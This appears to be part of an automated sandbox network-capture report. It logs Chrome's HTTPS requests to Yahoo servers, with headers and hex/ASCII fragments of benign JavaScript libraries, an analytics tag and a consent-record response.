2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 67 65 74 45 6c 65 6d 2c 61 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 6e 3d 61 2e 73 65 6c 65 63 74 6f 72 2c 72 3d 61 2e 73 75 63 63 65 73 73 43 6c 61 73 73 3b 21 69 26 26 74 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 6e 2e 72 65 70 6c 61 63 65 28 22 2e 22 2c 22 22 29 29 2c 74 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 72 29 2c 74 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 5f 2b 22 73 72 63 22 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 56 69 64 65 6f 43 6c 69 63 6b 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 22 79 76 69 64 65 6f 50 6c 61 79 6c 69 73 74 22 3d 3d 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 74 79 70 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2c 69 3d 74 2e 65 6c 65 6d 2c 61 3d 74 2e 69 64 2c Data Ascii: getElem,a=this._util,n=a.selector,r=a.successClass;!i&&t.classList.remove(n.replace(".","")),t.classList.add(r),t.removeAttribute(_+"src")}},{key:"handleVideoClick",value:function(e){if("yvideoPlaylist"===this._util.type){var t=this._util,i=t.elem,a=t.id,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49823	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:51 UTC	537	OUT	GET /aaq/wf/wf-text-1.2.0-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:52 UTC	822	IN	HTTP/1.1 200 OK x-amz-id-2: u9JOJBmLE2UED14fbGR3HsoAi2vl2l4rGA4Bk8qRNYxvSVRekTUbg4BYuq3mewaNTCsGjg8AQvxfybfw8RcCM48GMMHJPIVY x-amz-request-id: CA32DC3P19K50GMF Date: Sat, 27 Apr 2024 22:41:52 GMT Last-Modified: Mon, 23 Aug 2021 06:24:25 GMT ETag: "956dabf4d28930bc42d934995b814d6d" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: 8acCB8Oldv6HTX7VU3iQtZux9BoZJqhX Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 3412 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:52 UTC	772	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 74 65 78 74 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 74 65 78 74 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d 2c 65 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-text",[],t):"object"==typeof exports?exports["wafer-text"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 65 2c 74 29 7d 2c 74 2e 70 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 61 61 71 2f 77 66 2f 22 2c 74 28 74 2e 73 3d 22 2e 2f 73 72 63 2f 65 6e 74 72 79 2e 6a 73 22 29 7d 28 7b 22 2e 2f 73 72 63 2f 65 6e 74 72 79 2e 6a 73 22 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 Data Ascii: roperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,r){"use strict";function o(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function n(e,t){if(!e)throw new Refer
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 75 6c 65 22 2c 7b 76 61 6c 75 65 3a 21 30 7d 29 3b 76 61 72 20 75 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 31 3b 74 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 72 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3b 66 6f 72 28 76 61 72 20 6f 20 69 6e 20 72 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 72 2c 6f 29 26 26 28 65 5b 6f 5d 3d 72 5b 6f 5d 29 7d 72 65 74 75 72 6e 20 65 7d 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 76 61 72 20 6f 3d 74 5b 72 5d 3b 6f 2e Data Ascii: ule",{value:!0});var u=Object.assign\|\|function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},s=function(){function e(e,t){for(var r=0;r<t.length;r++){var o=t[r];o.
2024-04-27 22:41:52 UTC	40	IN	Data Raw: 6c 74 3d 6e 65 77 20 76 28 7b 73 65 6c 65 63 74 6f 72 3a 22 2e 77 61 66 65 72 2d 74 65 78 74 22 7d 29 7d 7d 29 7d 29 3b Data Ascii: lt=new v({selector:".wafer-text"})}})});

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49826	152.199.24.48	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:51 UTC	888	OUT	GET /tag/opus.js HTTP/1.1 Host: opus.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-04-27 22:41:51 UTC	561	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 205648 Content-Security-Policy: default-src https:; script-src https: 'unsafe-inline'; style-src https: 'unsafe-inline' Content-Type: application/javascript Date: Sat, 27 Apr 2024 22:41:51 GMT Etag: "87c8b2684a96c97513b8d60729d7a932" Last-Modified: Thu, 11 Apr 2024 13:32:35 GMT Server: ECAcc (dcd/7D6B) Vary: Accept-Encoding x-amz-id-2: 16PigvS1gkHCUOo6eHTs0+LM0vf5yUvacMnIoY75lVKqh7dcDNTy+/XS6Pe+pwrPSEVpYrjWhto= x-amz-request-id: A4M2T4Q4QZG6J65C X-Cache: HIT Content-Length: 8650 Connection: close
2024-04-27 22:41:51 UTC	8650	IN	Data Raw: 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 29 72 65 74 75 72 6e 20 74 3b 74 72 79 7b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2e 6d 61 74 63 68 28 2f 5b 5c 77 5d 2b 5c 2e 28 5b 5c 77 5d 2b 7c 63 6f 2e 75 6b 29 24 2f 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 22 22 7d 7d 3b 63 6f 6e 73 74 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 66 6f 72 28 76 61 72 20 65 3d 22 22 2e 63 6f 6e 63 61 74 28 74 2c 22 3d 22 29 2c 6f 3d 28 6e 7c 7c 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 29 2e 63 6f 6f 6b 69 65 2e 73 70 6c 69 74 28 22 3b 22 29 2c 61 3d 30 3b 61 3c 6f 2e 6c 65 6e 67 74 68 3b 61 2b 2b 29 7b 76 61 Data Ascii: (()=>{"use strict";var t=function(t){if(t)return t;try{return document.location.hostname.match(/[\w]+\.([\w]+\|co.uk)$/)[0]}catch(t){return""}};const n=function(t,n){for(var e="".concat(t,"="),o=(n\|\|window.document).cookie.split(";"),a=0;a<o.length;a++){va

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49824	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:51 UTC	537	OUT	GET /aaq/wf/wf-bind-1.1.3-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:52 UTC	852	IN	HTTP/1.1 200 OK x-amz-id-2: 4mjBEZgESSiMfjw4U5MWDVPqq+bEj2joXlWNoikzuqulRpsucIT721FCbFwfKPZ0HxKtjkvbjto= x-amz-request-id: 554RDAF760BEF1C7 Date: Sat, 27 Apr 2024 18:33:01 GMT Last-Modified: Tue, 11 Jan 2022 10:14:03 GMT ETag: "9fba2531ffa6cb0b4d3d34c56c295495" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: Qyt1s0oNtpHMZryrsEe7nbfplEXvu_oO Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 3666 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 14932 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 62 69 6e 64 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 62 69 6e 64 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d 2c 65 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-bind",[],t):"object"==typeof exports?exports["wafer-bind"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 Data Ascii: ype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function a(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a func
2024-04-27 22:41:52 UTC	1066	IN	Data Raw: 29 7b 76 61 72 20 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 7b 7d 2c 69 3d 72 2e 73 65 6c 65 63 74 6f 72 3b 6f 28 74 68 69 73 2c 74 29 3b 66 6f 72 28 76 61 72 20 61 3d 5b 5d 2c 66 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 75 3d 30 3b 75 3c 66 2e 6c 65 6e 67 74 68 3b 75 2b 2b 29 7b 76 61 72 20 73 3d 66 5b 75 5d 2e 6e 61 6d 65 2e 6d 61 74 63 68 28 70 29 3b 73 26 26 73 5b 31 5d 26 26 61 2e 70 75 73 68 28 73 5b 31 5d 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7d 76 61 72 20 6c 3d 6e 28 74 68 69 73 2c 28 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 29 2e 63 61 6c 6c Data Ascii: ){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},i=r.selector;o(this,t);for(var a=[],f=e.attributes,u=0;u<f.length;u++){var s=f[u].name.match(p);s&&s[1]&&a.push(s[1].toLowerCase())}var l=n(this,(t.__proto__\|\|Object.getPrototypeOf(t)).call

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49827	52.23.140.74	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:52 UTC	753	OUT	GET /v1/consentRecord?consentTypes=iab%2CiabCCPA%2Cgpp%2CgppSid HTTP/1.1 Host: guce.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-04-27 22:41:52 UTC	206	IN	HTTP/1.1 200 OK Connection: close Server: guce Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Type: application/json Content-Length: 140 Date: Sat, 27 Apr 2024 22:41:52 GMT
2024-04-27 22:41:52 UTC	140	IN	Data Raw: 7b 22 69 64 65 6e 74 69 66 69 65 72 22 3a 22 36 36 71 32 6a 69 39 6a 32 71 76 70 61 22 2c 22 69 64 65 6e 74 69 66 69 65 72 54 79 70 65 22 3a 22 62 69 64 22 2c 22 74 6f 73 52 65 63 6f 72 64 73 22 3a 7b 22 6e 6f 6e 45 75 22 3a 7b 22 63 6f 6e 73 65 6e 74 45 76 65 6e 74 73 22 3a 7b 22 69 61 62 43 43 50 41 22 3a 22 31 59 4e 4e 22 2c 22 67 70 70 22 3a 22 44 42 41 41 22 2c 22 67 70 70 53 69 64 22 3a 22 2d 31 22 7d 7d 7d 7d Data Ascii: {"identifier":"66q2ji9j2qvpa","identifierType":"bid","tosRecords":{"nonEu":{"consentEvents":{"iabCCPA":"1YNN","gpp":"DBAA","gppSid":"-1"}}}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49830	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:52 UTC	538	OUT	GET /aaq/wf/wf-image-1.4.0-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:52 UTC	827	IN	HTTP/1.1 200 OK x-amz-id-2: OdjkjUI3nFxvV7zY1TO/pv6p7wAnn4CmhwyNG9DAPTqVYaUqcJ7uuMm/vy0S8KcklyKbpAcx9OM= x-amz-request-id: DF9JBHGS6802E8G7 Date: Sat, 27 Apr 2024 22:29:48 GMT Last-Modified: Fri, 15 Apr 2022 16:44:15 GMT ETag: "2e3968239b770b8186bb480d513311cd" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: kGIIRCHIdgWfcr_wSmm8v8C_z6K3HVA8 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 6645 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 725 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 69 6d 61 67 65 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 69 6d 61 67 65 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-image",[],t):"object"==typeof exports?exports["wafer-image"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{}
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 2c 74 2c 72 29 7b 72 26 26 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 73 65 74 22 2c 72 29 2c 65 2e 73 72 63 3d 74 7d 66 75 6e 63 74 69 6f 6e 20 69 28 65 2c 74 2c 72 29 7b 76 61 72 20 61 3d 65 2e 67 65 Data Ascii: totype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function n(e,t,r){r&&e.setAttribute("srcset",r),e.src=t}function i(e,t,r){var a=e.ge
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 2c 72 3d 65 2e 72 6f 6f 74 2c 73 3d 76 6f 69 64 20 30 3d 3d 3d 72 3f 64 6f 63 75 6d 65 6e 74 3a 72 3b 61 28 74 68 69 73 2c 74 29 3b 76 61 72 20 6e 3d 74 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 66 69 67 73 2c 69 3d 6e 2e 64 61 72 6b 53 72 63 73 65 74 2c 6c 3d 6e 2e 6e 61 74 69 76 65 43 6c 61 73 73 2c 75 3d 6e 2e 73 65 6c 65 63 74 6f 72 2c 66 3d 6e 2e 73 65 70 61 72 61 74 6f 72 2c 64 3d 6e 2e 73 72 63 73 65 74 2c 70 3d 6e 2e 73 75 63 63 65 73 73 43 6c 61 73 73 2c 79 3d 6f 28 74 68 69 73 2c 28 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 7c 7c 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 29 29 2e 63 61 6c 6c 28 74 68 69 73 2c 7b 72 6f 6f 74 3a 73 2c 73 65 6c 65 63 74 6f 72 3a 75 2c 73 75 63 63 65 73 73 43 6c Data Ascii: uments[0]:{},r=e.root,s=void 0===r?document:r;a(this,t);var n=t.prototype.configs,i=n.darkSrcset,l=n.nativeClass,u=n.selector,f=n.separator,d=n.srcset,p=n.successClass,y=o(this,(t.__proto__\|\|Object.getPrototypeOf(t)).call(this,{root:s,selector:u,successCl
2024-04-27 22:41:52 UTC	268	IN	Data Raw: 22 2c 64 29 7d 29 29 2c 74 2e 5f 61 64 64 45 76 65 6e 74 73 54 6f 45 6c 65 6d 65 6e 74 28 65 2c 70 2c 22 64 65 66 61 75 6c 74 22 2c 6f 29 7d 72 65 74 75 72 6e 20 61 28 29 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 68 61 6e 64 6c 65 43 6f 6c 6f 72 53 63 68 65 6d 61 43 68 61 6e 67 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 5f 73 74 61 74 65 2e 64 61 72 6b 6d 6f 64 65 49 6e 73 74 61 6e 63 65 73 2c 74 3d 21 30 2c 72 3d 21 31 2c 61 3d 76 6f 69 64 20 30 3b 74 72 79 7b 66 6f 72 28 76 61 72 20 6f 2c 73 3d 65 2e 6b 65 79 73 28 29 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 28 29 3b 21 28 74 3d 28 6f 3d 73 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 29 3b 74 3d 21 30 29 7b 76 61 72 20 6e 3d 6f 2e 76 61 6c 75 65 3b 74 68 69 Data Ascii: ",d)})),t._addEventsToElement(e,p,"default",o)}return a()})}},{key:"handleColorSchemaChange",value:function(){var e=this._state.darkmodeInstances,t=!0,r=!1,a=void 0;try{for(var o,s=e.keys()[Symbol.iterator]();!(t=(o=s.next()).done);t=!0){var n=o.value;thi
